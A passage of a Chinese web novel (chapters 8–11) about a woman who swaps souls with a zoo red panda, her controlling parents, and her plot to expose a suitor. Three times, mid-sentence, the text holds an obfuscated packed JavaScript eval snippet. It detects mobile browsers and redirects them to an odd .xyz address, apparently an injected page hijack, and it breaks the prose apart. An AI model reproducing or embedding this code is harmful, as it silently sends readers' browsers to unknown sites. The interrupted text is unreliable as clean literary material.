拉完之后，小熊猫就跟平常一样回到了先前的地方，继续吃着美味的竹叶。 确定了位置之后，程知玥却也没有行动。她的脑袋里本能和理智在反复地拉扯。 本来告诉她实在是忍不住了，就直接去吧，反正现在她只是一只小熊猫，小熊猫在小熊猫上厕所的地方上厕所那不是很正常的事情吗？ 但理智却时时刻刻提醒她，她是一个人，怎么能像动物一样直接上厕所。一旦真的去了，那么她就突破了下限，以后回想起来都会羞愧。 程知玥左右摇摆着，她的眼睛死死地盯着前方，但魂已然不在。只是她不知道的是一直被她死死盯着的就是缺缺，它的头始终都不敢抬起来。 不行了，她已经坚持了太久，就连肚子都忍不住，发出了抗议。理智的弦最终还是崩断了，什么脸面不脸面的，她现在就想上厕所。 于是，程知玥从小木屋里出来，走到了那个角落。 但看着刚才小熊猫拉的便便，她的理智又恢复了一些。 真的要这样做吗？ 程知玥闭上眼睛，为自己打气，没事的，反正谁也不会知道。 做好了心理准备，她睁开了眼睛，眼前的景象却又不一样了。眨眼之间，她竟已经回到了自己的身体，回到了自己之前在父母家住的房间。 8. 第 8 章 太好了！程知玥狂喜，她从来没有这么庆幸过能恢复成人，这可是保住了她身为人的尊严。 她不由地想跳起来庆贺，但就动了一下，疼痛还是席卷了她。 ……还是先上厕所吧。 还好卧室里就有，解决完了身体大事，程知玥感到了身体前所未有的舒畅。 放松下来，她这才好好打量起这个房间。装修没有改变，跟她离开搬出去住之前没有任何区别。但是房间里四散的纸屑，凌乱的床铺，摔在地上的装饰品，都无一不说明了它们是如何遭到圈圈的欺凌，真是惨不忍睹。 “嘶。”程知玥轻呼一声，刚才她还没有发现，稍微动了动手臂，她才注意到手肘有一处伤痕，虽然不深，但还渗着血，可能是前不久圈圈撒泼时划伤的。 程知玥赶紧从房间里拿出医药箱，稍微消了消毒，再用创可贴贴好。 再这样互换下去，程知玥或许还能坚持，但不止家里的东西坚持不下去了，圈圈的精神也遭受不了了，她原本的身体也不行了。 稍微把床铺整理了一下，真厉害，竟然被子都被撕成了张张碎片，程知玥都不知道这到底是她原本蕴藏的力量还是小熊猫的力气大了。 她也没有心情再收拾了，将就着拿起手机躺在床上。 她率先打开某书的APP，再搜索栏里输入【变成小熊猫了怎么办】，只是搜出来的都不尽如人意，不是小熊猫就是小熊猫玩偶，还有一部动画片，甚至还出现了大熊猫幼崽。 程知玥删除了词条，再次输入【人和小熊猫互换的原因】，输入这个词条，她自己都觉得荒诞到不行，但搜出来的结果跟刚才搜的差不了多少。 果然，这种事情在现实里发生的概率就为零。但事情就是这么发生了，她又能怎么样。 程知玥退出了搜索栏，在发布框里编辑着文字： 【和小熊猫灵魂互换了怎么办？ 事情是这样的。某天我在办一件重要的事情时突然和小熊猫灵魂互换了，我变成了它待在动物园，它变成了我，给我留下了一堆麻烦事。原本以为只是互换一次，但后来又灵魂互换了。有什么办法能让这种事情不再发生呢？】 文字发布出去之后，一分钟不到，就收到一条回复。 程知玥赶紧点进去，回复只有一个字：【蹲】。 蹲什么蹲？不会是以为她在编故事，等一个后续吧。程知玥一时气恼，干脆退出去继续等新的回复。 只是左等右等，都没有人再留言。 百无聊赖之下，她看起了首页推荐。或许是因为上次看了圈圈，大数据记住了她的喜好，所以这次程知玥的首页上几乎都是小熊猫，而且不少还是圈圈。 【求偶失败缺缺，惨遭女武神圈圈毒打】 点进视频，正是下午发生的一幕。配合着昂扬的音乐，竟叫人有些热血沸腾。看着下面的回复，程知玥也不禁微微一笑。 【缺缺真是战五渣啊，它的耳朵就是因为打架被咬掉的，现在差点连另外一只耳朵也没了。】 【圈圈想不到这么能打，我看它长着一张委屈脸，平时也总是一只能待着，还以为它打架很弱呢。】 【别小看了我们圈圈，我们圈圈不仅擅长打架，而且还记仇呢。】 【对对对，说起这个我就觉得好笑，我拍了视频，大家可以点进去看看。】 程知玥点进这个名字叫做momo，头像是圈圈的用户，她的首页有好多个视频，都是关于小熊猫的。最新发布也是小熊猫的视频，从封面上看正是圈圈，标题也写得响亮。 【绿野动物园，女明星圈圈的记仇】 视频是被多个片段剪辑在一起的，包含了前因后果的打架被饲养员阻止，被饲养员提着尾巴放到木架，以及饲养员喂竹叶失败，程知玥无聊一直盯着他还有收猫的讨价还价。 【圈圈牌监工。我会一直盯着你，直到永远.jpg】 【有没有人能翻译一下被提着尾巴时圈圈说的是什么话。】 【我猜是一堆脏话，怕翻译出来被平台和谐。不过我可以翻译收猫时的话。圈圈：拉偏架提尾巴的人类我才不理。圈圈：才一片苹果就想收买我，我是那么好说话的能吗？圈圈：一、一盆？好吧，原谅也不是不行。看在苹果的面子上，勉强原谅你吧。】 【厉害啊。终于找到小熊猫语的翻译了。】 【他说他是岛民.jpg】 程知玥退出视频，看到这么多可爱的评论，她的心情都好了起来。她这才发现，她之前发的文字已经收到几条评论了。 程知玥收起笑容，不知怎么的，她心情竟有点忐忑。她定了定神，点了进去。 【我懂你，我也想变成小熊猫，这样就不用加班了。】 【笑死，又一个疯了的。】 【噗那你现在是小熊猫在打字吗？可以发个图看看吗，毕竟我还没有见过小熊猫打字呢。】 【绝对不是嘲笑的意思。但我想知道到底是哪家动物园哪只小熊猫啊。到时候，我带点苹果喂你哈哈哈哈哈。】 程知玥冷着脸关掉了APP，她就知道果然没有一个正经的回答，她刚才的期待简直就是多余。所有的人都以为她在开玩笑，于是也跟她开玩笑。如果真的是玩笑就好了，程知玥吐出一口浊气，刚才的好心情已经荡然无存，只有对未来的焦虑。 她翻了一个身，透过窗户看见月亮已经出来了，发着昏暗的光。原来不知不觉已经过了这么长的时间了。 程知玥看了看手机，漆黑的房间里只有它发着莹白的光芒，屏幕上显示着时间已经到了晚上九点。摸了摸肚子，程知玥感到了一丝饥饿，中午过后她就再也没有进食了，唯一吃的还是饲养员给的一块苹果。 要不还是从厨房里吃点东西吧，毕竟一顿不吃饿得慌。这个时候，程功和林茵应该没有睡觉，按照惯例，他们会在楼下客厅看电视。 程知玥从床上爬起，走到门边。她握着把手旋转开门。 ——嗯？竟然打不开？ 程知玥又试了几下，可门哪怕被晃得发出了声响，却还是没有丝毫松动的痕迹。她记得她的门不止可以从里面反锁，也可以从外面反锁。她已经试过了，她没有在里面反锁。那么只有一个可能性了。 程知玥拍门：“爸妈，你们把门打开，放我出去。” 门被她拍得啪啪作响，但门外没有丝毫动静。程知玥耳朵贴在门上，听着外面的声音，但也只听得见电视的声音。 不应该啊，平常的话，他们虽然看着电视，也会交谈几句，说着一些家长里短或者公司的事情。但此时，却安静到了极致，简直就像风雨欲来的片刻宁静。 “爸，妈，你们为什么要把我关在屋里，快开门啊！” “别闹了，我明天还要上班。快开门，开门！” 但是，楼下还是什么反应都没有。 “开门啊！” “求你们了！放我出去吧！” …… 程知玥瘫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543773|171112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在地上，她的手已经拍得通红，但她却好像感受不到疼痛一样，还是执着地拍打着门，只是力度越来越弱了。 脚步声不紧不慢地传来，从楼下逐渐到了二楼，最后定格在门外。 程知玥听出来，这是她母亲的脚步声。 林茵的声音很冷：“你搞砸了这次事情还想出来。” “可是……” “你知道王家是什么人吗？”林茵毫不留情地打断了程知玥的话，“我们家现在已经日落西山，正是需要投资的时候。而他们家有钱，又跟我们有一定交情，人家喜欢你，他父母也看好你，但你看看你做了什么！” “先是在我们面前打了王仁一巴掌。还没有等我们反应过来，你就像野兽一样，对着人家又是咬又是踢，怎么拦都拦不住，简直像疯了一样，只好把你关在自己房间，才消停一点。” 原来灵魂互换后，圈圈竟然做了这样的事。真是干得漂亮！ 见程知玥没有回话，林茵继续说道：“你说你是不是故意的，故意装疯卖傻，搅黄这次相亲？” “我没有。”程知玥忍不住为自己辩解。 “还说不是，你要不要看看临走时，他们一家脸色有多么难看。”一想到那时的局面，林茵的脸更黑了，声音也更冷了一分。 “可是这也不能怪我啊。”程知玥忍不住抱怨，“你没有看到王仁他对我动手动脚，我打他也是因为他想强吻我。” “还狡辩！”林茵根本不听她的解释，“王仁不可能是这样的人。再说，如果真的是这样，他也是因为喜欢你，才这样的。” 程知玥失语，她感到一股血直冲她的天灵盖，一团火在心里蓦然升起。她万万没有想到林茵竟然会说出这样的话，这会是一个母亲对女儿说的话吗。她愿意相信别人都不肯相信她，甚至还为一个外人说话，仿佛真正的外人不是王仁，而是她一样。 还说什么因为喜欢，程知玥嗤笑，她想起王仁说的话。 “你以为他们出去是什么意思，当然是为了让我们生米煮成熟饭。” 害，还真是被他说中了。真是恶心。这个时候，程知玥已经不觉得饿了，反而是肚子里一股酸水，让她想吐。 静默之中，程功也站在了门外。 “知道错了吗？” 不知道，真的不知道，程知玥无助地摇摇头，她真的做错了吗？她究竟错在哪里？ 见门里一声不吭，程功自顾自地认为不说话就是默认。于是他拍了怕林茵的肩膀，他们两个人对视一眼，达成了共识。 “过几天，你去他们家道歉，别空手去，带些礼物。”程功说着，语气里是不容拒绝的威严，“对了，态度一定要诚恳，一定要让他们原谅你。” “如果不答应的话，你就别想出这个门。”林茵冷脸补充。 程知玥垂着头，黑夜里她面无表情，只是摸着自己手肘上的伤口默不作声。 而门外，程功和林茵也没有离开，他们就驻在原地，好像打定了主意她一定会妥协一样。 “……好。”程知玥听见自己的声音在一片宁静中响起，沙哑，低沉。 “这样就对了。” 门外传来他们满意的哼笑声，然后就是门锁被打开的声音。 随着他们脚步声音的消失，一切又归于平静。 然而程知玥却没有站起来离开卧室，她重新躺在床上，看着黑漆漆的天花板出神。 不知何时，她的嘴角扬起一丝诡异的微笑。 9. 第 9 章 “早上好，程总。” 一进集团的大门，就收到集团好几个员工的打招呼。 程知玥一一微笑点头回应，这原本是一件再寻常不过的事情，如果忽略到他们眼里的笑意就好了。 前几天的爬树风波还在网路上蔓延，一时还没有褪去的趋势。她现在也只有仰首挺胸，视而不见，做出一番事业才能掩盖舆论。 不过在此之前，还有件很重要的事情需要去做。 程知玥坐在自己的办公室里，她拿着钢笔，轻轻地点着一尘不染的桌面，最终还是下定了决心。 “思思，你来我办公室一趟。” “程总，你说什么……等等，我还没有打印完。”电话那头，传来林思思含糊不清的声音。 “你先放下手里的事情，来我办公室一趟。” “哦，好的，我马上来。” 挂断电话，没几分钟，程知玥就听到了林思思专属的哒哒哒的脚步声。 “程总，你找我有什么事吗？”林思思推开门，上气不接下气，看得出来她是接了电话之后就马上跑过来的。 程知玥抬了抬手。 林思思会意，她轻手轻脚地关上了门，再乖乖地走到程知玥的面前，老老实实地站好。 程知玥双手交叉抵着下巴，她看着林思思，再次陷入了纠结。 自从昨天再次和小熊猫互换之后，程知玥就有了一个想法。既然这种事以后也可能会经常发生，但她总不可能每次都要收拾小熊猫留下的烂摊子吧。与其产生烂摊子，不如先把这种可能性扼杀。 所以她得找个人，在她和小熊猫互换之后，照顾灵魂是小熊猫的她，以防圈圈再生事端。 至于这个人选，程知玥左思右想，唯一想到的人选只有林思思一个。 林思思，原本是一个贫困家庭的孩子，父亲早亡，母亲也得了重病，因此不得不辍学。而程知玥无意得知了她的情况，不仅资助她读书，也帮忙治好了她母亲的病，所以林思思非常感激她。大学毕业之后，就到了程氏来帮忙。 在集团所有人军心涣散的时候，资助过的孩子坚定地来任职，这样的忠心，程知玥自然感动，也信任着她，平日里她们就像姐妹一样相处。 只是，程知玥犹豫着，刚才还下定的决心已经荡然无存，说起来这事太过荒谬，如果是平常的话，她自己都不相信。她自己都不相信的事情，又怎么能指望林思思相信。 林思思被程知玥看得心里毛毛的，从她进来到现在，都好半天没有说话了。 “……玥姐？” “哦，思思。”程知玥咬了咬唇，犹豫着开口，“你相信人和小熊猫灵魂会互换吗？” “……？” 果然，哪怕是单纯如林思思，也不相信这种荒谬的事情。 林思思看着程知玥，犹犹豫豫地开口：“玥姐，你是不是看了某书上面的内容啊？” “嗯？” 林思思连忙拿出自己的手机，翻找了一会，她拿着手机亮出上面的内容：“就是这个！” 程知玥接过手机。 【和小熊猫灵魂互换了怎么办？ 事情是这样的。某天我在办一件重要的事情时突然和小熊猫灵魂互换了……】 程知玥黑着脸把手机还给了林思思。 但林思思完全没有看懂她的表情，反倒是来了兴致：“玥姐，你是不是看的就是这个。没想到你也对这种天马行空的内容感兴趣，还真是没看出来……” “你留言了吗？”冷不丁的，程知玥问出了这个问题。 林思思还是没有察觉到危机，她反而觉得程知玥是想跟她深入讨论，于是她向前一步，兴冲冲地指着一条回复说：“这条就是我留的。” 【我懂你，我也想变成小熊猫，这样就不用加班了。】 “哦，平时加班很多吗？”程知玥挑起眉毛。 “也没有啦，只是我才毕业，还有很多事情不太会……”即使迟钝如她，也逐渐察觉到程知玥这并不是简单的问询，怎么看都是笑里藏刀。 “不过，”林思思连忙打着哈哈，赔着笑转移注意力，“这人真有意思，可能是起号吧，毕竟人怎么可能和小熊猫灵魂互换呢！” “你觉得她真有意思是吧。” 看到程知玥和善的笑容，林思思这才放松警惕，笑容都有了几分真心：“是啊是啊……” “是我发的。” “是……啊？”林思思愣住了，就连笑都挂在脸上来不及撤退。 “我说是我发的。”程知玥一字一句，加重了读音。 林思思张大了嘴巴，声音都颤抖着带有一丝不可置信：“真的吗？” “你是问发这篇的事情是真的还是和小熊猫互换这件事是真的？”程知玥眨了眨眼睛，甚至还明知故问。 “等等，姐，你让我捋一下。”林思思抖了抖身体，她扶着脑袋，一下子坐在椅子上，小脑瓜飞速地运转着。 然而她半天都没有动静，简直就像程序没有启动，直接死机。 “还没想好？”即使是再有耐心，都这么半天，耐心也要消散了。 林思思猛地扭头，眼眸里惊讶的神色一点都没有褪去：“姐，你真的没有跟我开玩笑吗？” 想了半天竟然还在纠结这个问题，程知玥的表情都不好了，她没好气地回答：“我有必要跟你开这种玩笑吗？” 林思思站了起来，又无措地坐了下去，终于她深吸一口气，仿佛下定了某种决心，这才坚定地看着程知玥：“好吧，姐，我相信你。” “好，那么我希望你答应我一件事。” “什么事？” 程知玥挥挥手，示意她把耳朵凑过来。 林思思乖乖地附耳倾听，听闻她的要求后，想也没想点头就同意了。 不过，看着程知玥发愁的脸，她也忍不住提出建议：“姐，你刚才说的事情没有问题，我可以做到。只是，我们是不是应该找出灵魂互换的原因啊。” “这我也当然知道。”程知玥叹气，“可是我不知道从哪里下手啊。我都不知道原因出在我身上还是那只叫圈圈的小熊猫身上。” “诶？圈圈？是绿野动物园的圈圈吗？” “是啊，怎么了？你很熟？” “那倒不是，不过最近它可火了。你有没有看那个视频？”林思思翻起了自己的历史记录，兴冲冲地指着一条视频看，“就是这个，圈圈记仇的视频，点赞都过万了。” 程知玥笑出了声，不过是气笑的。她咬牙切齿：“这个就是我。” 林思思闭紧了嘴巴，呜呜呜，她再不要说话了。 “别不说话，说说你的看法。” 刚发的誓立马就要打破了，林思思不情不愿地开口：“我觉得我们要不从圈圈开始调查。” “怎么调查，我搜了网络，关于圈圈的资料很少。我连绿野动物园都搜过了，还是找不到什么线索。” “那你有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543774|171112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有想过亲自去见见它呢？ 程知玥睁大了眼睛，这么简单的事情她竟然没有想到，还真是当局者迷旁观者清。她刷得站起来，拉着林思思就要往外走：“走，我们赶紧去动物园！” 林思思另外一只手赶紧抓住了她：“姐，姐，等一下，现在是上班时间。” “你的假我批了，我们赶紧去。” 赶到动物园时，刚好赶上放饭的时间。因为是周一的缘故，人比昨天要少很多，但尽管如此，还是有不少人守候在此。 “哪个是圈圈啊？”站在石墙外，林思思探着身体张望。 还没有等程知玥回答，旁边一个举着摄像机的女孩就解答了她的疑问：“就是那个抬着头吃着苹果，长得最可爱最委屈的那个。” 顺着她的提示，她们一起看去。 圈圈坐得笔直，爪子上拿着块苹果，嘴巴费力地嚼着，动作过大，就连耳朵都一动一动的。尾巴柔顺地放在地上，长长一条，就像毛毛虫面包一样。 “好可爱。”程知玥和林思思不约而同露出傻笑感叹。 等等，她们来是有正事的。程知玥拍了拍林思思的手臂，她也回过神来。 她们就这样死死地盯着圈圈，观察着它的一举一动。 圈圈吃完了饭，圈圈离开了又去吃竹叶，原来没有吃饱啊。圈圈遇见了同类，彼此视而不见相互错过。圈圈爬上了树，在春风习习中打了一个哈欠，把自己团成了一个球进入了梦乡。 “你有看出什么吗？”程知玥问道。 林思思揉了揉眼睛摇摇头，她都把眼睛看酸了，除了可爱再也没看出什么。 真是指望不了她啊。程知玥转过头，看见刚才那个女孩还在摄像，一看就是圈圈的真爱粉，她变成小熊猫时就有看到过她。 程知玥干脆移到女孩的旁边，假装不经意地搭话：“你拍了很久圈圈吗？” “也没有很久啦。前几个月才喜欢上小熊猫，然后又看见圈圈特别可爱，所以有时间才来拍。”说起自己的心路历程，女孩显然很开心。 “圈圈它最近有没有什么特别的行为啊？” “特别的行为？”女孩疑惑着重复，但只一瞬，她的表情就变成了理所当然，“圈圈做什么都是特别的。” 得，真爱粉滤镜太浓，问不出什么了。 程知玥悻悻地回到林思思的旁边，看到她问询的眼神，无奈地摇摇头。 “要不我们问问饲养员。” 问饲养员啊，这的确是个不错的办法。不过—— 犹豫间，饲养员抱着新鲜的竹叶进入了外场，他细心地把小熊猫吃剩下的竹叶聚拢在一起。 就是这个时候。 林思思猛地撑起身子，身体比石墙都要高出一大截了。她双手聚在嘴里呈喇叭的样子，大声地喊道：“饲……” 程知玥惊呆了，她万万没有想到林思思这么猛，但还好，她早就在林思思撑起身体时就察觉到了她的意图，就在她发出第一个字时及时拦截。 还好，最终林思思的声音被她扼杀在她的手掌之下，程知玥看了看周围，游客们都专心地看着小熊猫，完全没有察觉到她们这边的异动。 差点就要被吓死了。程知玥松了一口气，她抬起头，却不经意地跟饲养员对上了视线。 他看着她们，目光冰冷，简直就像十二月的寒风一样。这跟穿成小熊猫时，温柔的态度简直截然相反。 不对，这人怎么还有两幅面孔？ 10. 第 10 章 林思思目瞪口呆地看着桌上吃剩的甜品。 本来林思思打算回去继续上班，但程知玥看了眼时间正好是吃中饭的时间，就拉着她到了甜品店。 林思思只吃了几块就饱了。万万没有想到，程知玥化悲愤为食欲，吃了一盘又一盘，完全没有停下来的趋势。 “姐，别吃了。我想到了一个办法。” “什么办法？”还是没有劝阻住，程知玥挑起了草莓蛋糕的一角。 林思思掏出手机，扒拉了几下，就递到程知玥面前，她指着上面的内容说：“绿野动物园最近开放志愿者活动，你看，这里可以报名体验饲养员工作。” 体验饲养员工作？程知玥放下了手里的叉子，接过了林思思的手机。 “一日饲养员活动，让你近距离感受动物们的生活，了解它们的日常……”程知玥念着绿野公众号上关于本次活动的宣传语，每念一个字，她的心就跳动一下，她好像又看到了希望。 “我想只是当游客，距离太远。当饲养员的话，就能近距离接触了解圈圈了。”林思思也在一边帮腔。 太有道理了。程知玥连忙拿出自己的手机，直接点击报名。 “今天是最后两天报名，靠抽签抽出这个幸运儿，星期六就会公布。下周六就能体验了。” 程知玥看着林思思：“你也报名。” 林思思手指着自己，一脸呆愣：“我吗？” “当然了，两个人的中选概率更大。”程知玥不容置疑地说着，甚至在她没有回过神的时候，直接在她的手机上点了报名。 报完名后，程知玥的心情好了许多，她这才停止了吃东西，带着林思思回到了公司。 上班的日子总是特别漫长，但怀着期待时间也就没那么难熬。 微信的声音响起。 【明天，我们一起去王仁家登门道歉。】 程知玥勾了勾嘴角，回了一条：【好的，妈妈。】 扔掉手机，程知玥放任自己躺在沙发上。明天，她已经开始期待了。 早上十点，程知玥开着车载着父母一起前往王仁家。 “咚咚咚。”在父母的眼神注视下，程知玥轻轻敲击着王仁家的大门。 “谁啊？”温柔的女声从门的里侧传来，但下一刻她就从显示屏里看清了来人，声音也一下子变得冷淡，“原来是你们啊。” 林茵稍微向前走了一步，她看着摄像头赔着笑说：“是啊，我们这次是登门道歉的，上次确实是我们太失礼了。” 李阿姨冷哼：“道歉就不用了，你们还是回去吧。” 林茵看了程知玥一眼，眼里都是警告，分明就是责怪她让李阿姨余怒未消。尽管如此，她还是不得不硬着皮头说：“别啊。我们这么多年的交情总不能这么一下子就毁了吧。小玥她不懂事，她现在已经认识到自己错了，至少你让她当面向王仁道个歉吧。” 程知玥配合着抬起了手，示意李阿姨看向她此次带来赔罪的礼物。虽然看不清楚具体是什么，但包装不菲，一看就很贵重。 话都说到了这个份上，其实再不情愿，李阿姨还是开了门。不过看到程知玥的脸，她还是气不打一处来，索性扔下她们，去叫自己的老公和儿子。 程知玥的脸上还是平静地没有一丝波澜，林茵按住了她的肩膀，在她耳边低语：“你知道等会要说什么吗？别搞砸了。” 程知玥回头，她看着母亲，又看了一眼始终一言不发的父亲，点了点头。 程功张了张嘴，先要再训斥一下。但抬起头，他一下子变了脸色，脸上都洋溢着热情，他大步向前走去。 顺着他的方向看去，原来王先生他们一家都已经从二楼下来了，只是看见她们，每个人的脸色都不怎么好，尤其是王仁，愤怒中还带着鄙夷，不过看程知玥这么低眉顺眼地跟在她父母的后面，脸上的鄙夷变成了嘲弄。 “老王！”程功伸出了双手，热切地想要和王先生握手。 而王先生看都没有看他一眼，自顾自地走到客厅，坐在沙发上。王仁路过程知玥，冲她嗤笑一声，也坐在了王先生的旁边。 程功没有气馁，他提了提手上的东西：“我这次准备了一些名家的字画想要跟你交流一下。还带了一些名贵的化妆品想要送与你的夫人。” 王先生按着遥控器，一时间客厅里只听得见电视里发出的声音。 被这么冷落，即使是程功，脸上也有些挂不住。他撞了撞旁边的程知玥，示意她说话。 李阿姨本来坐在一旁的小凳子上翻着杂志，她把程功的动作看在眼里，忍不住发出嘲讽：“实在这么不愿意，大可不必登门。” “是啊。”王仁也是，早就想揶揄了，只是碍于没人说话。这下，母亲先开火了，他迫不及待地接话，“我也只是普通地交流，哪成想就被莫名其妙地袭击了。简直是可怕，这还是现代社会吗？” 王先生始终沉默，只是脸色却越来越青。 林茵被这一席话搞得也是一阵青一阵白，更让她气恼的是程知玥。说好了是来道歉，但进门到现在一句话都没说，甚至连愧疚的情绪都看不到。 林茵气恼地推了她一把，把她推到王仁的面前：“你倒是说话啊。” 而程知玥只是那么静静地站着，默不作声地看着王仁，表情平淡如水，看上去不像是来道歉的，更像是一个过客，什么都与她无关。 王仁饶有兴致地看着程知玥，当初那么有骨气地打了他一拳，现在不照样到他的面前求原谅。别看她现在一言不发，但是被逼到这个份上，她注定要开口道歉的。他有的是时间来好好聆听她的忏悔，到时候，再考虑要不要原谅。 “开门！开门！”一个响亮的女声打断了这僵持的氛围。 李阿姨凑过去看，显示屏上是一个年轻的女人，她披散着头发，浓妆艳抹，神情愤怒地拍打着他们家的大门。 “你谁啊？”正值不爽，李阿姨的口气也充满着不耐烦。 “哼，我谁？”女人重复了一遍问句，冷笑着反问，“你不如问问王仁好了。” 这是怎么回事？这下所有人都用怀疑的目光看向王仁，而王仁早就在听见女人的声音时变了脸色。他慌忙摇头：“我不认识她。” 还没有等李阿姨把王仁的意思传递给她，那个女人忍不住叫喊起来：“王仁，你开门啊，你明明说要和我在一起的。为什么有了孩子，你就跑了。你说啊！” 孩子？李阿姨瞪大了双眼，不敢置信地看着王仁。 王仁脸色煞白，早已没有了刚才的神气。他看着他父亲的脸，惊恐到说不出一句话。 “你有什么要解释的吗？” 听着父亲强压着怒火的逼问，王仁低下头，支支吾吾地说：“我，我……” “王仁！王仁你开门啊！你开门啊！” 看到面前王仁的废物样，而门外的女人还在撕心裂肺地叫喊，王叔叔揉了揉胀痛的太阳穴：“快让那个女人进来，一直放任她在门外喊像什么样子。” “哦，哦。”李阿姨这才如梦初醒，开了门。 女人气势汹汹地走进来，她一进门，就直接扫视全场。 李阿姨看着她的肚子，确实是隆起的，一看大概就是五、六个月的身孕。这下，李阿姨的表情彻底绷不住了。即使先前她再怎么不相信，但看着女人的肚子，又看着王仁的反应，她已经不能再欺骗自己这一切都是假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543775|171112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的了。 没过几秒，女人就看到了坐在沙发上努力缩着脖子扮演缩头乌龟的王仁，她气急，直接扑了上去，对着他又是打又是踢。 一切都发生得太过突然了，所有人都没有反应过来。 任由着女人打了一会，王叔叔这才控制住女人，把她拉到了一边，质问她：“到底是怎么回事？” 女人恶狠狠地瞪了一眼王仁，面对王叔叔倒也是丝毫不怵，她挺了挺肚子：“你儿子搞大了我的肚子，还不负责任，想要跑路。” “你！”王叔叔眼角的血管爆突，他指着王仁，手都气得颤抖。 程功、林茵万万没有想到还有这一出，都看呆了。 李阿姨这时走了过来，她此刻再也没有了刚才尖酸刻薄的气焰，反倒是好声好气地小声在程功和林茵的面前说道：“误会，一定是误会。你们先回去吧，到时候我们再给你们一个解释。” 女人的耳朵倒是很尖，她打量着程功、林茵，又深深地看了一眼程知玥，发出冷笑：“误会，你们怎么好意思说是误会。怎么你们还想赖账，让他跟别的女人结婚，抛弃我们母子？” 这下李阿姨不说话了。而被女人这么一说，程功他们也被牵扯其中，错失了离开的机会。 “你说啊，到底是怎么回事！”王叔叔把王仁拉起来，强迫他直视着自己给一个合理的解释。 “说不出来是吧。”女人向前一步，狠狠地戳着王仁的胸口，“我来帮你说。之前在酒吧，你点了我陪你一个晚上。之后，你让我辞了工作说要包养我。但当我告诉你我怀孕了之后，你……” “你别说了！”王仁也爆发了，他推了女人一把，差点就要把她推倒在地。还好，程知玥眼疾手快，即使地扶住了她，才避免了惨剧的发生。 女人眼睛瞪大了，她万万没有想到王仁竟然会这么对她。她来不及对程知玥道谢，匆匆站起身，就对着王仁哭闹着打骂。 “爸、妈，你快让她住手！” 王先生在听到酒吧时就已经气到喘不过来了，他没有想到女人竟然是这种身份，比他想象得还有离谱。 而李阿姨也在一旁捂着心口，在她心目中一直是乖顺的儿子，不仅私下里什么都来，甚至还搞大了别人的肚子。这样的家丑，还暴露给别人，还是先前她甩脸子的人。她这脸都不知道往哪里搁。 真是好大一出戏啊！程知玥抿了抿嘴角，她偷偷地看了一眼自家父母。他们完全没有预料到会有这种事情发生，此刻也是面色铁青。 看来事情得到解决了。相亲对象丢了这么大脸，即使他们家原谅了王仁，但终究还是落下了话柄，在程知玥面前，王仁还是理亏，王家也无法再拿捏她了，这么一来，王家也会主动放弃联姻。 程知玥掏出手机，找到了联系人，发出了信息：【做得好！】 很快，就收到了来信：【能帮到程总就好。】 程知玥收起了手机，放进了包里。果然，把这件事交给邹瑞是完全正确的选择。 换回来之后，程知玥就联系了邹瑞，让他收集王仁的黑料。邹瑞是个能干的人，没几天就挖出了这样的幕后消息。于是她联系了女人，女人本来就想揣着肚子上位，结果人找不到了，程知玥的主动让她看到了希望，她们就这么顺利达成了合作。 “走吧。”程知玥开口说道。 “啊？”林茵完全没有反应过来，而程功也木然地看着面前的鸡飞狗跳。 程知玥微微一笑，率先走出了王家。她再次看了一眼手机，里面有条消息，时间是昨天：【恭喜你已经被选中参与饲养员工作！】 程知玥抬头看看天，深呼吸一口气，身后的吵闹声都变得美妙起来。 11. 第 11 章 星期六一大早，程知玥早早地起床，今天是她体验小熊猫饲养员工作的日子，她可不能迟到。 在动物园集合后，活动发起人首先发表讲话，当程知玥抬头看时，表情却僵硬了。站在他旁边的正是有两副面孔的饲养员！ 程知玥别过了头，心里暗叫不好，小熊猫饲养员有几个，没想到来参加活动的人还是他。也不知道他记不记得当时的事情，如果还记得，那可真是麻烦了。 “好了，那么大家先分队。站在我左边的是场外志愿者，负责给游客们讲解知识以及制止不良行为。站在我右边的是实习饲养员，等对应的饲养员叫到名字后就跟他一起去工作。” 队伍很快分成了两队，志愿者有二十多人，实习饲养员有十人。志愿者很快就被带到了他们该去的地方，而剩下的就是饲养员点名了。 程知玥看着台上心不在焉的小熊猫饲养员，他好像完全不关心这件事，点名也是不积极，到最后队伍里只剩下了她。他这才懒懒地抬眼看着她：“你就是实习生吧，跟我来。” 好冷淡！ 程知玥吐槽，不过看他的样子，应该是完全不记得前几天的事情。也好，总比留下一个坏印象要好得多。 没有多说话，程知玥乖乖地跟在他的后面前往小熊猫展区。 “那个，要不然我先自我介绍一下，我叫程知玥。”气氛也太尴尬了，如果不跟他打好关系，她怎么了解圈圈，怎么终止互换这件事。因此程知玥不得不硬着皮头搭话。 